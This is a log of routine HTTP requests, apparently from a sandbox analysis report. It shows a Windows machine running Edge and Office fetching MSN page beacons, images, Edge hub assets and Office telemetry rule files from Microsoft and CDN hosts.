Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731921959268&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=7e39c7eda8ad44118c2aed522a120830&activityId=7e39c7eda8ad44118c2aed522a120830&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=0D52F0FB785F6B62058EE5C0797A6A2B; _EDGE_S=F=1&SID=3AB13C3DB47766A62C2D2906B5666716; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1731921959269&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=0D52F0FB785F6B62058EE5C0797A6A2B&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1DD840fb8b40d9dbcd1d0a51731916545; XID=1DD840fb8b40d9dbcd1d0a51731916545
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msFQA.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=0D52F0FB785F6B62058EE5C0797A6A2B&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=4f70c864f1cb42ffc9a9e95c2054d96e HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=0D52F0FB785F6B62058EE5C0797A6A2B; _EDGE_S=F=1&SID=3AB13C3DB47766A62C2D2906B5666716; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731921959268&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=7e39c7eda8ad44118c2aed522a120830&activityId=7e39c7eda8ad44118c2aed522a120830&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=7A97CFA7C07245DEAA7365E5521D87A4&MUID=0D52F0FB785F6B62058EE5C0797A6A2B HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=0D52F0FB785F6B62058EE5C0797A6A2B; _EDGE_S=F=1&SID=3AB13C3DB47766A62C2D2906B5666716; _EDGE_V=1; SM=T
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msKSh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
